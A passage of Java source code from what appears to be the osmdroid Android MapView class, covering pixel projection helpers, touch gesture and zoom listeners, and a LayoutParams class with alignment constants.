final int zoomDifference = MAXIMUM_ZOOMLEVEL - getZoomLevel();
final int x0 = in.left - offsetX << zoomDifference;
final int x1 = in.right - offsetX << zoomDifference;
final int y0 = in.bottom - offsetY << zoomDifference;
final int y1 = in.top - offsetY << zoomDifference;
result.set(Math.min(x0, x1), Math.min(y0, y1), Math.max(x0, x1), Math.max(y0, y1));
return result;
}
/**
* @deprecated Use TileSystem.TileXYToPixelXY
*/
@Deprecated
public Point toPixels(final Point tileCoords, final Point reuse) {
return toPixels(tileCoords.x, tileCoords.y, reuse);
}
/**
* @deprecated Use TileSystem.TileXYToPixelXY
*/
@Deprecated
public Point toPixels(final int tileX, final int tileY, final Point reuse) {
return TileSystem.TileXYToPixelXY(tileX, tileY, reuse);
}
// not presently used
public Rect toPixels(final BoundingBoxE6 pBoundingBoxE6) {
final Rect rect = new Rect();
final Point reuse = new Point();
toMapPixels(
new GeoPoint(pBoundingBoxE6.getLatNorthE6(), pBoundingBoxE6.getLonWestE6()),
reuse);
rect.left = reuse.x;
rect.top = reuse.y;
toMapPixels(
new GeoPoint(pBoundingBoxE6.getLatSouthE6(), pBoundingBoxE6.getLonEastE6()),
reuse);
rect.right = reuse.x;
rect.bottom = reuse.y;
return rect;
}
@Override
public float metersToEquatorPixels(final float meters) {
return meters / (float) TileSystem.GroundResolution(0, mZoomLevelProjection);
}
@Override
public Point toPixels(final IGeoPoint in, final Point out) {
return toMapPixels(in, out);
}
@Override
public IGeoPoint fromPixels(final int x, final int y) {
return fromPixels((float) x, (float) y);
}
}
private class MapViewGestureDetectorListener implements OnGestureListener {
@Override
public boolean onDown(final MotionEvent e) {
if (MapView.this.getOverlayManager().onDown(e, MapView.this)) {
return true;
}
mZoomController.setVisible(mEnableZoomController);
return true;
}
@Override
public boolean onFling(final MotionEvent e1, final MotionEvent e2, final float velocityX,
final float velocityY) {
if (MapView.this.getOverlayManager()
.onFling(e1, e2, velocityX, velocityY, MapView.this)) {
return true;
}
final int worldSize = TileSystem.MapSize(mZoomLevel);
mScroller.fling(getScrollX(), getScrollY(), (int) -velocityX, (int) -velocityY,
-worldSize, worldSize, -worldSize, worldSize);
return true;
}
@Override
public void onLongPress(final MotionEvent e) {
if (mMultiTouchController != null && mMultiTouchController.isPinching()) {
return;
}
MapView.this.getOverlayManager().onLongPress(e, MapView.this);
}
@Override
public boolean onScroll(final MotionEvent e1, final MotionEvent e2, final float distanceX,
final float distanceY) {
if (MapView.this.getOverlayManager().onScroll(e1, e2, distanceX, distanceY,
MapView.this)) {
return true;
}
scrollBy((int) distanceX, (int) distanceY);
return true;
}
@Override
public void onShowPress(final MotionEvent e) {
MapView.this.getOverlayManager().onShowPress(e, MapView.this);
}
@Override
public boolean onSingleTapUp(final MotionEvent e) {
if (MapView.this.getOverlayManager().onSingleTapUp(e, MapView.this)) {
return true;
}
return false;
}
}
private class MapViewDoubleClickListener implements GestureDetector.OnDoubleTapListener {
@Override
public boolean onDoubleTap(final MotionEvent e) {
if (MapView.this.getOverlayManager().onDoubleTap(e, MapView.this)) {
return true;
}
final IGeoPoint center = getProjection().fromPixels(e.getX(), e.getY());
return zoomInFixing(center);
}
@Override
public boolean onDoubleTapEvent(final MotionEvent e) {
if (MapView.this.getOverlayManager().onDoubleTapEvent(e, MapView.this)) {
return true;
}
return false;
}
@Override
public boolean onSingleTapConfirmed(final MotionEvent e) {
if (MapView.this.getOverlayManager().onSingleTapConfirmed(e, MapView.this)) {
return true;
}
return false;
}
}
private class MapViewZoomListener implements OnZoomListener {
@Override
public void onZoom(final boolean zoomIn) {
if (zoomIn) {
getController().zoomIn();
} else {
getController().zoomOut();
}
}
@Override
public void onVisibilityChanged(final boolean visible) {
}
}
// Public Classes
/**
* Per-child layout information associated with OpenStreetMapView.
*/
public static class LayoutParams extends ViewGroup.LayoutParams {
/**
* Special value for the alignment requested by a View. TOP_LEFT means that the location
* will at the top left the View.
*/
public static final int TOP_LEFT = 1;
/**
* Special value for the alignment requested by a View. TOP_RIGHT means that the location
* will be centered at the top of the View.
*/
public static final int TOP_CENTER = 2;
/**
* Special value for the alignment requested by a View. TOP_RIGHT means that the location
* will at the top right the View.
*/
public static final int TOP_RIGHT = 3;
/**
* Special value for the alignment requested by a View. CENTER_LEFT means that the location
* will at the center left the View.
*/
public static final int CENTER_LEFT = 4;
/**
* Special value for the alignment requested by a View. CENTER means that the location will
* be centered at the center of the View.
*/
public static final int CENTER = 5;
/**
* Special value for the alignment requested by a View. CENTER_RIGHT means that the location
* will at the center right the View.
*/
public static final int CENTER_RIGHT = 6;
/**
* Special value for the alignment requested by a View. BOTTOM_LEFT means that the location
* will be at the bottom left of the View.
*/
public static final int BOTTOM_LEFT = 7;
/**
* Special value for the alignment requested by a View. BOTTOM_CENTER means that the
* location will be centered at the bottom of the view.
*/
public static final int BOTTOM_CENTER = 8;
/**
* Special value for the alignment requested by a View. BOTTOM_RIGHT means that the location
* will be at the bottom right of the View.
*/
public static final int BOTTOM_RIGHT = 9;
/**
* The location of the child within the map view.
*/
public GeoPoint geoPoint;
/**
* The alignment the alignment of the view compared to the location.
*/
public int alignment;
public int offsetX;
public int offsetY;
/**
* Creates a new set of layout parameters with the specified width, height and location.
*
* @param width
* the width, either {@link #FILL_PARENT}, {@link #WRAP_CONTENT} or a fixed size
* in pixels
* @param height
* the height, either {@link #FILL_PARENT}, {@link #WRAP_CONTENT} or a fixed size
* in pixels
* @param geoPoint
* the location of the child within the map view
* @param alignment
* the alignment of the view compared to the location {@link #BOTTOM_CENTER},
* {@link #BOTTOM_LEFT}, {@link #BOTTOM_RIGHT} {@link #TOP_CENTER},
* {@link #TOP_LEFT}, {@link #TOP_RIGHT}
* @param offsetX
* the additional X offset from the alignment location to draw the child within
* the map view
* @param offsetY
* the additional Y offset from the alignment location to draw the child within
* the map view
*/
public LayoutParams(final int width, final int height, final GeoPoint geoPoint,
final int alignment, final int offsetX, final int offsetY) {
super(width, height);
if (geoPoint != null) {
this.geoPoint = geoPoint;
} else {
this.geoPoint = new GeoPoint(0, 0);
}
this.alignment = alignment;
this.offsetX = offsetX;
this.offsetY = offsetY;
}
/**
* Since we cannot use XML files in this project this constructor is useless. Creates a new
* set of layout parameters. The values are extracted from the supplied attributes set and
* context.
*
* @param c
* the application environment
* @param attrs
* the set of attributes fom which to extract the layout parameters values
*/
public LayoutParams(final Context c, final AttributeSet attrs) {
super(c, attrs);
this.geoPoint = new GeoPoint(0, 0);
this.alignment = BOTTOM_CENTER;
}
/**
* {@inheritDoc}
*/
public LayoutParams(final ViewGroup.LayoutParams source) {
super(source);
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.